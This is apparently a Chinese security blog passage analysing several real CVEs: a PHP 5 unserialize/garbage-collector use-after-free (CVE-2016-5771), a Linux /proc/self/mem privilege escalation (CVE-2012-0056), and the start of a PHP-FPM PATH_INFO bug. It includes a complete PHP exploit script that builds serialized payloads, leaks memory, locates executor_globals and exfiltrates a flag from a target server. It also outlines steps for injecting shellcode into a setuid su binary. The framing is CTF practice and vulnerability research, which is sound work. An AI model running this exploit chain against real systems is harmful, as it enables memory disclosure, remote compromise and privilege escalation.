2 => [0x7ffff7bb37b0] (refcount=2) array(1):
}
一切都是正常的第一个外部数组,第二个内部数组。再去细看处理过程,这里其实可以直接定位到gc是如何标记ArrayObject内部子zval的。关注为什么外层数组自身只有一次的引用,却减少两次ref

首先看是如何获得ArrayObject内部子元素的

1
2
3
4
5
6
if (EXPECTED(EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(pz)].valid &&
(get_gc = Z_OBJ_HANDLER_P(pz, get_gc)) != NULL)) {
int i, n;
zval **table;
HashTable *props = get_gc(pz, &table, &n TSRMLS_CC);

这个get_gc是一个用来获取ArrayObject内部的属性的HashTable的handler,看看get_gc是如何工作的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
#0 spl_array_get_properties (object=0x7ffff7bb6028) at /root/php-src/ext/spl/spl_array.c:796
#1 0x00005555558609b2 in zend_std_get_gc (object=0x7ffff7bb6028, table=0x7fffffffa608, n=0x7fffffffa614) at /root/php-src/Zend/zend_object_handlers.c:121
*/

static HashTable *spl_array_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
...
result = spl_array_get_hash_table(intern, 1 TSRMLS_CC);
intern->nApplyCount--;
return result;
}

static inline HashTable *spl_array_get_hash_table(spl_array_object* intern, int check_std_props TSRMLS_DC) { /* {{{ */
...
} else {
return HASH_OF(intern->array);
}
} /* }}} */
这个intern->array就是我们的内层数组,那么其实返回就是这个array。这就变的有趣了,往下看如果返回是内层数组的话,(在php里面array就是HashTable),回到我们的标灰函数中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
p = props->pListHead;
...
while (p != NULL) {
pz = *(zval**)p->pData;
if (Z_TYPE_P(pz) != IS_ARRAY || Z_ARRVAL_P(pz) != &EG(symbol_table)) {
pz->refcount__gc--;
}
if (p->pListNext == NULL) {
goto tail_call;
} else {
zval_mark_grey(pz TSRMLS_CC);
}
p = p->pListNext;
}
}

按照常理来说取对象里面的属性,也应该是一个HashTable,属性名为key,值为value。但是这里出现了歧义,这个内层数组按道理来说只能算一个属性值,但是这里的逻辑,他把内层数组当成了所以属性值的HashTable,这里产生了歧义,这里为什么造成了外层数组的引用计数递减了两次,真正原因在于被当成对象所有属性值HashTable的内层array没有开始标灰,就开始处理内部的元素了,这也导致了两次gc两次遍历内层数组,最后造成外层数组引用递减两次。再看poc
1
2
3

$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
------exchange----
这里值得注意的是,为什么需要构造成这样?如果说我们标横线的地方对两个数组的引用交换行不行?如下
1
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:1;i:2;r:4;};m:a:0:{}}}';
从结果上看是不可以的,外层ref被递减成了-1,难道gc让其递减了3次呢?题外话,这里是个技巧,其实在尝试去改poc,会让自己更快的理解整个漏洞。如果你也思考到这里的话,其实很简单,在标灰之前下个断。dumpgc一下
1
2
3
4
5
6
7
8
GC buffer content:
[0x7ffff7bb4c70] (refcount=2) array(2): {
1 => [0x7ffff7bb3650] (refcount=1) array(1):
2 => [0x7ffff7bb4c70] (refcount=2) array(2):
}
[0x7ffff7bb3650] (refcount=1) array(1): {
1 => [0x7ffff7bb6028] (refcount=2) object(ArrayObject) #1
}
可以看到其实并没有递减三次,开始的时候ref只为1,这很有意思, 这就涉及到php变量赋值的问题上,php5引用赋值,是有split过程的,具体在这里不阐述。如果你把R换成r,又发现其实是可以的,但是内存释放顺序上和前面又是不一样的,这提醒我们不仅需要关注gc,麻烦还在于unserialize上,为什么这些zval会出现在gc_root_buff里面那么肯定是在序列化的过程中引用计数发送了变化,如果你能很早的关注到这个问题,那么后面一些问题也能很好理解,序列化过程中会在一个var_hash的结构中保存生成zval的引用,为了后面的r或者R来支持引用,当然在后面的var_destory也需要释放掉这些引用,这就意味在反序列化过程中每个zval的ref的大小要比正常情况下要大一些。

综上,这个cve的精髓总结一下,如果用ArrayObject包含目标zval的引用,在精心的构造上,是可以造成二次递减的。我从一个最简单的应用,具体开始本文的分析。

1
2
3
4
5
6
array{ //1	
0 =>ArrayObject{
&$1
}
1 => &$1
}
如果标灰从上述开始。你猜能递减几次? 为什么呢?
1
2
3
4
5
6
7
8
9
=>array_$1 #grey
=> ArrayObject_ref-1 #grey }
=> $1 }
=>ArrayObject_ref-1 } =====> ArrayObject_dec
=>ret }
=>$1_ref-1 }
=>ret }
=>$1_ref-1
=>ret
这个是从我脑子里画下来gc标灰的递归过程。按照深度遍历的顺序,可以印证一下,你发现这里ArrayObject却递减了两次,而外层数组正常递减。这里一个有意思的东西是,你发现ArrayObject里面的array可以是一个引用,这在后面非常重要,这也是这个例子要引进的最重要的东西。这里我们还需要主要到一个问题,当我们的目标zval递减为0之后,是否会被立即释放呢?答案是不一定。如果目标zval处于某个ref不为0的zval内部,而且这个zval也被gc处理过,那么在标灰紧接着的第二步,标白的过程中会恢复这个ref不为0的zval,意味着内部的子节点引用计数都会被恢复。显然ArrayObject包含着我们目标zval的引用,所以我们必须考虑这个情况。

再就上面这个例子我们再继续研究。现在针对上面例子做一个改进:

  1. 让外层array_ref递减为0
  2. 保证ArrayObject也为0。(这一步就是上面提到的包含关系)

先做第一个改进,让array_ref递减为0,上面例子可能你看不出来什么,如果我们再加一个array的引用如下:

1
2
3
4
5
6
7
array{ //1	
0 =>ArrayObject{
&$1
}
1 => &$1
2 => &$1
}
那么这个时候的递减过程就变成这样了:
1
2
3
4
5
6
7
8
9
10
11
12
=>array_$1 #grey
=> ArrayObject_ref-1 #grey }
=> $1 }
=>ArrayObject_ref-1 } =====> ArrayObject_dec
=>ret }
=>$1_ref-1 }
=>ret }
=>$1_ref-1 }
=>ret }
=>$1_ref-1
=>ret
=>$1_ref-1
看出来了吗?这个ArrayObject_dec结构多减了一次外层数组的引用,相当于增加了一个array的引用,递减了两次。此时外层数组的引用已经被递减成0了,相当于完成我们的第一个目标。现在去着手第二个目标,让ArrayObject的引用也变0,此时的ArrayObject递减了2次,所以此刻它的ref应该为-1,似乎在目前看来我们无法做到让它变成0.因为你单纯加ArrayObjec的引用只会减的更多。由此下面进入另个一个思考过程:)

从前面的poc来看,必须得触发gc才行,前面是通过gc_collect_cycles()来触发的,如果你想要远程触发这个漏洞的话,你可能做不到调用这个函数,最多就只是一个unserialize()在等着你。非手工的触发gc,gc的默认机制是当存储的垃圾可能根达到阀值以后触发,这个默认值一般是10000。

有没有办法通过unserialize()来制造垃圾的可能根呢?那是肯定的,你不用去细想就会有一处,就是在最后unserialize()结束的时候使用var_destory()来删除unserialize()过程中产生多余的zval引用的时候。几乎每一个创建zval都会涉及到,这样来说只要创建够多的zval,那么在这一步就会触发gc。

但是这其中是有问题的,仔细想的话,会产生一个矛盾的现象。

  • 考虑ArrayObject的ref如何变成0? 我需要调整ArrayObject的ref,新增的ArrayObject引用肯定不能再放在目标array里面,这样只会减的更多的,那需要放在目标数组的外面,这样就能单纯的增加ArrayObject的引用,用来调整前面多的递减。

    问题来了,把ArrayObject放目标数组外面,外面怎么理解呢? 相当于有分支结构了。那么目标数组肯定又是某个zval的子节点了,如果是某个zval的子节点,那么在var_destory处理过程中处理目标数组的引用之前,肯定已经处理过这个zval的引用了。又回到了原来之前的问题下,如果目标数组在某个ref不为0的zval下,目标array的ref是会被恢复的。又开始循环了,我们得跳出这个圈子。

细细想来出现上面的问题的原因在于,目标array的父节点被当做垃圾可能根,这就导致在gc的时候目标array_ref间接被恢复。通过var_destory来触发gc的时间对于现在的情况来说太晚了,能不能更早一点,单纯的只把我们的目标array放到gc的root_buffer里面呢?

那么在var_destory之前有没有办法去减少某个zval的引用呢,来填充gc的root_buffer?答案是肯定有,unserialize过程是允许下面的写法的:

1
2
$a = "a:3:{i:0;a:0:{}i:0;a:0:{}i:0;a:0:{}}";
unseralize($a);

在创建array的时候,会先拿到key,通过key去array所在的HashTable中找对应的bucket,所以这里是存在相同key值的bucket的update过程,这一步会减少旧的bucket里面zval的引用。如果目标数组index和垃圾值的index一样,只要垃圾值够多,就能触发gc,并且直接把目标array放到了gc_root_buffer里面。那么gc的root-buffer里面只会存在目标数组zval和垃圾值的zval和其他一些无关紧要的zval,这样的情况就是我们的理想情况。

现在找到了合理的触发gc的方式,但是我们的ArrayObject_ref目前为止还是没有为0,现在情况变了,前面是发生在unserialize之后,现在是处于的unserialize的过程里面,如果现在增加一个ArrayObject的引用相当于增加2个,即ref+2,因为var_hash里面会保存一个ArrayObject的引用。

增加一个ArrayObject的引用 ref+2,但目前来看我们的例子里面ArrayObject只多递减了一次,我们必须得考虑这两者之间的数量级关系。

现在再来看我们的例子,需要略微改变一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
array{
0=>array{ //2 $2_ref=8
0 =>ArrayObject{ //$3_ref=2 |
&$2 | =====>ArrayObject_dec
} |
1 => &$2
2 => &$2
},
0=>array{},
0=>array{},
0=>array{},
... //garbage
}
现在的情况要比之前的复杂,其中各个zval的引用都翻倍了。如果断在var_destory前面,你可以看见此刻的ref实际上是多少,如上。

这时候如果再通过gc标灰,ArrayObject_ref能递减成0,而目标数组$2却只能递减4次,这远远不够,如果这个时候还是像前面的单纯增加目标数组的引用显然已经不行了,现在加一个$2, ref直接+2,2增1减,效果不理想。

我们还是得增加$2的引用,但是得让它递减的更多。如果我再加一个新的ArrayObject_dec的结构呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
array{
0=>array{ //2 $2_ref=8
0 =>ArrayObject{ //$3_ref=2 |
&$2 | =====>ArrayObject_dec
} |
1 => &$2,
2 => &$2,
3 =>ArrayObject{ // |
&$2 | =====>ArrayObject_dec
} |
},
0=>array{},
0=>array{},
0=>array{},
... //garbage
}
看起来递减的效果要比单纯增加$2的引用要好。2增2减,现在刚好持平了。现在我们可以列个表达式,来算一算需要多少个ArrayObject_dec 和 $2, 分别设为x ,y :
1
2
3
4
5
6
7
ref_1  =  (x+y+1)*2 //目标数组总引用数
ref_2 = 2 //单个ArrayObject的引用数
dec_1 = (x+1)y //目标数组递减的引用数
dec_2 = (x+1) //单个ArrayObject的引用递减数

2 - (x+1) == 2n //ArrayObject引用递减以后必须为负偶数
(x+1)y == (x+y+1)*2 //目标数组引用递减为0
数量关系如上所示: 当x = 1 ; ... 不成立 当x = 3 ; y = 4;

我就不往下算了,下面还有很多适合的条件。这里取需要3个ArrayObject_dec 和 4个$2。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
array{
0=>array{ //2
1 =>ArrayObject{ //3 |
&$2 | =====>ArrayObject_dec
} |
2 =>ArrayObject{ //7 |
&$2 | =====>ArrayObject_dec
} |
3 =>ArrayObject{ //11 |
&$2 | =====>ArrayObject_dec
} |
4 => &$2,
5 => &$2,
6 => &$2,
7 => &$2,
},
1=>array{ //inc ArrayObject_ref
0 => &$3,
1 => &$7,
2 => &$11,
},
0=>array{},
0=>array{},
0=>array{},
... //garbage
}

此时ArrayObject_ref会被递减成-2,这里需要在后面增加ArrayObject的引用使其正好为0,现在这个情况下目标数组可以被完美释放。如果你不确定的话,可以在gc_collect_cycles下个断,调一下看看目标array是否被加入了gc的freelist。接着我们需要去思考被释放的目标数组,会被如何重用。

php的内存管理和linux的slub有那么一点相似,但你只需要知道相同的size的chunk和malloc的fastbin一样是FIFO链表结构。

那么在这里释放顺序对于我们来说是比较重要的,再谈GC,gc标灰以后,再把ref不为0的zval全部恢复,这其中就包括子zval也会被恢复,再将ref=0的节点标白,最后再次变量收集白色节点,放到free_list,free_list也是个FIFO结构。

放进free_list按照遍历的顺序,最先的应该是目标数组,再接着3个ArrayObject。接着依次释放free_list中zval的内部元素,最后再释放zval。那么目标数组的zval则是最后释放的。

我们就先把眼光局限在这4块sizeof(zval_gc_info)的chunk上即size为32的chunk上,在php里面说chunk似乎不太准确,mmap分配的才叫chunk,这里我们干脆称它们为obj。

这个时候释放以后,你可以在_emalloc()下个断,可以很方便的跟踪4个obj被释放以后的去向,如果填充的垃圾数目够多,那么重新申请的过程应该如下:

1
2
i:0; a:0:{} i:0; a:0:{}
obj obj obj obj
是个4obj会按照FIFO的顺序,依次分配给这四个zval,a:0:{}好理解空数组,i:0表示的是数组里面key值,也是一个类型为long的zval。如果我们在目标数组以外再使用这4obj的引用即目标数组和ArrayObject的引用,就能得到不一样的zval引用,地址指向相同,内容发生了变化。

那么如何去利用这个过程呢?最好的情况是我们能伪造zval,如果伪造一个string类型的zval,那么我们就可以leak任意地址的数据,如何伪造假的string类型的zval呢?

1
i:999;s:4:"aaaa";
看上面这种情况,第一个表示key的zval,第二个是一个string类型的zval,到这里面已经分配出去2个obj了,当使用string的zval用来存储字符串,会根据字符串的大小去申请内存,我们可以控制字符串的长度,那么我们就可以申请到这第三个obj,再通过这第三个obj弄一个fake_zval。我们看一下zval的结构:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct _zval_struct{
zvalue_value value;
zend_uint refcount__gc;
zend_uchar type;
zend_uchar is_ref__gc;
}

union _zvalue_value{
long lval;
double dval;
struct {
char *val;
int len;
} str;
HashTable *ht;
zend_object_value obj;
zend_ast *ast;
}
zval的结构大小为24,这里指的是x64的情况下,zvalue的结构也列出来了。所以这里我们是完全能控制一个zval结构的。细节的地方就是注意对齐。虽然这个地方我们能通过修改str.valstr.lenleak任意地址。但是问题是去哪里读?至少我们得知道php的elf地址吧!

对于这个问题都有比较通用的方法就是在堆上找残留text节或者data节或者bss节上的指针。这个时候需要变换一下思路。得让_efree()给我们设置fake_string_zval上的str.val.

按照上面的思路,我们得让我们的fake_string_zval二次释放。这个时候我想到了一个东西,array的index除了可以数字以外,还可以用字符串。而且在unserialize()处理array中是会把index值放在一个zval里面的,同时后面var_destory()会将其释放。

这个时候我们的fake_string_zval的str.val就变成了堆上一地址。通过调整str.len遍历堆上的内容,堆上肯定有Hashtable的结构,这过程生成很多array和object,他们都包含有HashTable的结构,有HashTable结构代表什么呢?HashTable里面有一个pDestructor的函数指针通常是指向_zval_ptr_dtor用来释放zval的函数。

这样就能拿到一个php二进制里面的地址,下面leak elf和符号表这里不再叙述,就这个地方我出了一道题,如下:

1
2
$flag="lalalalllalala";
echo(unserialize(base64_decode($_POST['az'])));
这道题就是这么简单,如果你了解前面整个流程,这道题其实很简单。这里你需要做的就是leak这个\(flag变量,那么你得知道它放在哪?你需要大概了解一下php的vm是怎么运转的。整体上VM可以分配编译器和执行器,编译器的功能就是把php代码转换成opcode_array,执行器的功能就是去执行每一条opcode,上面的\)flag相当于赋值是一个常量,关于常量是直接储存在zend_op_array->literals,这是一个结构体数组指针,我们只需要去遍历它就可以找到flag。

接下来问题就是怎么找到opcode_array这个结构,执行器的执行单元就是opcode_array,所以是可能存在多个opcode_array,用户的自定义函数调用就涉及到多个opcode_array的切换,显然本题没有用户自定义的函数调用,相应于变量域的切换,所以只有一个opcode_array结构,执行器的相关结构都存储在executor_globals这个全局变量上。executor_globals->active_op_array保存着当前正在执行的opcode_array。有了opcode_array根据前面的流程你就能找到flag。

关于executor_globals符号地址获取,具体看exp是比较常规的leak方法。本文主要重点在阐述 CVE-2016-5771利用,题目的讲解是其次,也看的出来了解该cve的利用以后,其实题目是非常非常的简单。该cve从原理上来说,是有一些难度,我每次看它也会有不一样的体会。但是我想难度更大的是在作者是怎样发现它?这是我最为感兴趣的。

上述题目exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
/**/
/*./buildconf --force && ./configure --prefix=/root/php-5.6.20 --disable-all --with-apxs2=/usr/bin/apxs && make && make install */
<?php
/*uaf*/
define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);


function gadget_leak(){

$fake_zval_string = pack("Q", 0x555555554000).pack("Q", 128).str_repeat("\x06", 8);
$encoded_string = str_replace("%", "\\", urlencode($fake_zval_string));
$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';

$overflow_gc_buffer = '';
for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {
$overflow_gc_buffer .= 'i:0;O:8:"stdClass":0:{}';

$overflow_gc_buffer .=$fake_zval_string.$fake_zval_string;
}

$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';

$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';

$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';
$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';

$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';

$stabilize_fake_zval_string = 'i:0;i:4;i:1;i:4;i:2;i:4;i:3;i:4;';
$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:4;}';

return base64_encode($payload);

}


function gadget_read($address,$len){

$fake_zval_string = pack("Q", $address).pack("Q", $len).str_repeat("\x06", 8);
$encoded_string = str_replace("%", "\\", rawurlencode($fake_zval_string));
$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';

$overflow_gc_buffer = '';
for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {
$overflow_gc_buffer .= 'i:0;a:0:{}';
$overflow_gc_buffer .= 'i:'.$i.';'.$fake_zval_string;
}
$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';

$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';

$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';

$stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';
$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';

$rep = send(base64_encode($payload));
$decode = unserialize(base64_decode($rep));
return $decode[4];

}

function gadget_leak_elf_base($midaddr){

$addrdec = hexdec($midaddr) & (~0xfff);
$i = 0;
while(1){

$str = gadget_read($addrdec,4);
if($str == "\x7fELF"){

echo "[*]:leak libphp.so elf base:";
var_dump(dechex($addrdec));
return $addrdec;
}
//$i++;
$addrdec = $addrdec -0x1000;

}
}


function send($payload){

$opt['http'] = array(
'timeout'=>60,
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' => 'az='.$payload,
);

$url = "http://127.0.0.1/uaf.php";
$context = stream_context_create($opt);
$res = file_get_contents($url,false,$context);

return $res;
}


function gadget_get_dynamic($pht,$phz){

while (1) {
echo dechex($pht)."\n";

$str= gadget_read($pht,4);

$type = unpack("Vtype",$str)["type"];

if($type == 2){
echo "[*] Phr of dynamic : ";
var_dump(dechex($pht));
return $pht;
}

$pht = $pht+$phz;
}


}

function gadget_get_executor_global($phr,$elf_base){

$str = gadget_read($phr+0x10,8);
$dyn = $elf_base+unpack("Qoffset", $str)["offset"];
echo "[*] dynamic address :";
var_dump(dechex($dyn));
$flag = 0;
while(1){

$str = gadget_read($dyn,0x10);
//echo rawurlencode($str)."\n";
$type = unpack("Qtype",$str)["type"];
if($type == 5){
$offset = gadget_read($dyn+0x8,0x8);
//echo rawurlencode($offset);
$strtab = unpack("Qoffset",$offset)["offset"];
$flag++;
}else if($type == 6){

$offset = gadget_read($dyn+0x8,0x8);
//echo rawurlencode($offset);
$symtab = unpack("Qoffset",$offset)["offset"];
$flag++;
}

if($flag == 2){

break;
}

$dyn = $dyn+0x10;
}

echo "[*] symtab address : ";
var_dump(dechex($symtab));
echo "[*] strtab address : ";
var_dump(dechex($strtab));
//executor_globals\x00
while(1){

$offset = gadget_read($symtab,4);
$str_offset = $strtab + unpack("Voffset",$offset)["offset"];
$str = gadget_read($str_offset,17);
var_dump($str);
if($str == "executor_globals\x00"){

$ex_addr_offset = gadget_read($symtab+0x8,8);
$ex_addr = unpack("Qoffset",$ex_addr_offset)["offset"];
break;
}

$symtab = $symtab+0x18;
}
echo "[*] executor_globals addr : ";
var_dump(dechex($ex_addr));
return $ex_addr+$elf_base;
}

$leak = gadget_leak();

$rep = send($leak);

$decode = unserialize(base64_decode($rep));

$zval_ptr_dtor_addr = dechex(unpack("Qaddress", (substr($decode[4],120,8)))["address"]);

echo "[*]leak zval_ptr_dtor_addr:";

var_dump($zval_ptr_dtor_addr);

$elf_base = gadget_leak_elf_base($zval_ptr_dtor_addr);


$str = gadget_read($elf_base,100);
$pht = unpack("Qoffset", substr($str,0x20,8))["offset"];
$phz = unpack("voffset", substr($str,0x36,8))["offset"];
echo "[*] PHT : ";
var_dump($pht);
echo "[*] PHZ : ";
var_dump($phz);
$phr_dyn = gadget_get_dynamic($pht+$elf_base,$phz);

$executor_globals_addr = gadget_get_executor_global($phr_dyn,$elf_base);
//[*] executor_globals addr : string(6) "4d8d60"


$active_opcode_addr = unpack("Qaddress",gadget_read($executor_globals_addr+0x210,8))["address"];

$literals_addr = unpack("Qaddress",gadget_read($active_opcode_addr+0xb8,8))["address"];

$zval_strptr = unpack("Qaddress",gadget_read($literals_addr,8))["address"];

$flag = gadget_read($zval_strptr,50);

echo $flag;
?>

CVE-2012-0056 分析笔记

1.漏洞概况:

漏洞距今已经7年多了。我为什么会再次选择这个漏洞来看一看呢?因为CVE-2019-9213的出现,这个CVE涉及到对/proc/self/mem的写,而/proc/$pid/mem这个pseudo-file在设计之初设定是readonly,就是说只能读不能写。

而发生CVE-2012-0056的时候,就是刚好linux官方删除对/proc/$pid/mem可写限制commit的时候,commit: 198214a7ee50375fa71a65e518341980cfd4b2f0,漏洞成因就出现在关于对/proc/$pid/mem的写过程中的检查上,很巧妙了绕过了其中2个检查。

2.具体成因:

在linux中一切皆文件,对/proc/$pid/mem读写也不例外,首先需要关注是/memfile_operations结构,在fs/proc/base.c下。

1
2
3
4
5
6
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
};
首先来看第一步mem_open
1
2
3
4
5
6
7
static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
/* OK to pass negative loff_t, we can catch out-of-range */
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}
open操作很简洁,值得注意是保存了打开文件进程的self_exec_id,这个进程属性,在整个系统中引用的地方并不多,发生改变的地方,有以下几处:
1
2
3
4
5
6
7
8
9
10
void setup_new_exec(struct linux_binprm * bprm)
{
....

current->self_exec_id++;

flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);
这处是exec执行新二进制程序的时候,self_exec_id会发生自增。还有一处是发生在fork进程的时候,子进程会保留父进程的self_exec_idself_exec_id初始化的过程有些不同。

再接着看第二步,mem_write过程,我们重点关注其中的check点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
int copied;
char *page;
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode); //#1
unsigned long dst = *ppos;
struct mm_struct *mm;

copied = -ESRCH;
if (!task)
goto out_no_task;
...
mm = check_mem_permission(task);//#2
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
...
copied = -EIO;
if (file->private_data != (void *)((long)current->self_exec_id))//#3
goto out_mm;

out_mm:
mmput(mm);
out_free:
free_page((unsigned long) page);
out_task:
put_task_struct(task);
out_no_task:
return copied;
}
代码中标注了三个点,首先看第一个点,获取task的过程:
1
2
3
4
5
6
7
8
9
10
struct task_struct *get_pid_task(struct pid *pid, enum pid_type type)
{
struct task_struct *result;
rcu_read_lock();
result = pid_task(pid, type);
if (result)
get_task_struct(result);
rcu_read_unlock();
return result;
}
task的获取过程和被写的进程pid是紧密联系在一起的,无关是谁最先打开了file。接着再看第一个check check_mem_permission:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;

mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);

/*
* A task can always look at itself, in case it chooses
* to use system calls instead of load instructions.
*/
if (task == current)
return mm;

if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
mmput(mm);
return ERR_PTR(-EPERM);
}
这里存在两个条件第一个条件是被写的进程和发起写的进程是同一个进程,就是说一个进程是可以直接写/proc/self/mem的。第二个条件是相当于写其他经常进程之前要被ptrace挂起。这个check看起来还是比较苛刻的。继续看第二个check:
1
2
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;
这个check关系到了前面提到的self_exec_id,这个check点的意义相当于把打开/mem的进程和写/mem进程稍微联系起来了,这里用了稍微这个词,显然我觉得这个check再这里并没什么意义。

现在再来组合起来看漏洞的成因,如何利用/proc/self/mem来提权?如果我们能写setuid的进程内存,就可以到达提权的效果,具有setuid权限的二进制程序最常见的就是su,而且su有一个标准错误的输出,当使用su not_exist_user的时候会有一下类似的输出:

1
2
root@kali:~# su not_exist_user
No passwd entry for user 'not_exist_user'
不同版本的su输出不太一样,但是这里not_exist_user都会一样输出。这样一来就可以控制写的内存,一个比较好的想法就随之而来:
1
2
3
4
5
fd = open('/proc/self/mem');
dup2(2,7);
dup2(fd,2);
lseek(fd,awesome_place,SEEK_SET);
execl('/bin/su',"su",shellcode);
但是这里不能这样简单处理,注意第二个check点,让打开/mem的进程和写/mem的进程有那么一点小联系。显然这里经过execl以后,导致了self_exec_id++mm_open里面的self_exec_id不相等了,前面也说这个check有问题,现在如果再execl之前先fork一个子进程,再让子进程execl一下,再通过子进程打开/proc/$ppid/mem,现在在mm_open这一步设置self_exec_id的时候是在原理的基础上加一了,再通过unix socket把打开的/proc/$ppid/mem回传给父进程。这样就成功绕过了第二个check,导致shellcode写入目标内存。

再来看一看忘哪写?如何去劫持su的程序流弹shell,当su 输出错误以后,之后会执行exit,所以理所当然我们劫持exit地址的内存,这要说到另外一个点,为什么选择su,su除了可以输出可控的字符串,早期的su是静态编译的,没有重定位的过程,也没有PIE,所以这里你不用去考虑aslr带来的影响,这里也提出还有其他非PIE编译的具有setuid的二进制比如gpasswd

思考

关于此处的修复。在mm_open处做了额外的处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int mem_open(struct inode* inode, struct file* file)
{
- file->private_data = (void*)((long)current->self_exec_id);
+ struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
+ struct mm_struct *mm;
+
+ if (!task)
+ return -ESRCH;
+
+ mm = mm_access(task, PTRACE_MODE_ATTACH);
+ put_task_struct(task);
+
+ if (IS_ERR(mm))
+ return PTR_ERR(mm);
+
/* OK to pass negative loff_t, we can catch out-of-range */

file->f_mode |= FMODE_UNSIGNED_OFFSET;
+ file->private_data = mm;
+
return 0;
}
在open_的时候就判断了对目标内存的读写权限。而且file->private_data直接保存了目标内存的结构,而不是在mm_write的时候动态获取。显然现在无法用execl来替换/proc/self/mem的目标内存了,也符合我的预期修复方式,让打开/mem进程和写/mem进程更紧密的联合在一起。

这里关于找su里面exit@plt位置的也比较有意思,开始时设想用objdump找。但是可能目标系统上没有它,exploit直接穿插了一段用ptrace调试su来找exit@plt的位置也比较有趣。

如果开了PIE和aslr的setuid的二进制这里时候似乎会变的异常的复杂。可能我们需要把su挂起来。这里我没有想到能绕aslr的方法。。。还是太菜了,无力。

同时也学到了用unix socket来传递父子进程间fd的方法。惊叹于作者对进程间理解,也感叹自己菜的真实。

参考

https://git.zx2c4.com/CVE-2012-0056/about/

拥抱php之CVE-2019-11043

这个洞是在discord看见的,只能叹息一声,linux kernel又要往后延期了。作者是打realworld发现的一个0day,有趣,随手一打,服务就crash了,然后0day一枚。

https://bugs.php.net/bug.php?id=78599从作者的描述加上官方的patch。

你能知道所有的东西和PATH_INFO这个fastcgi的参数有关。

1
2
3
4
5
6
7
8
9

location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_pass php:9000;
...
}
}
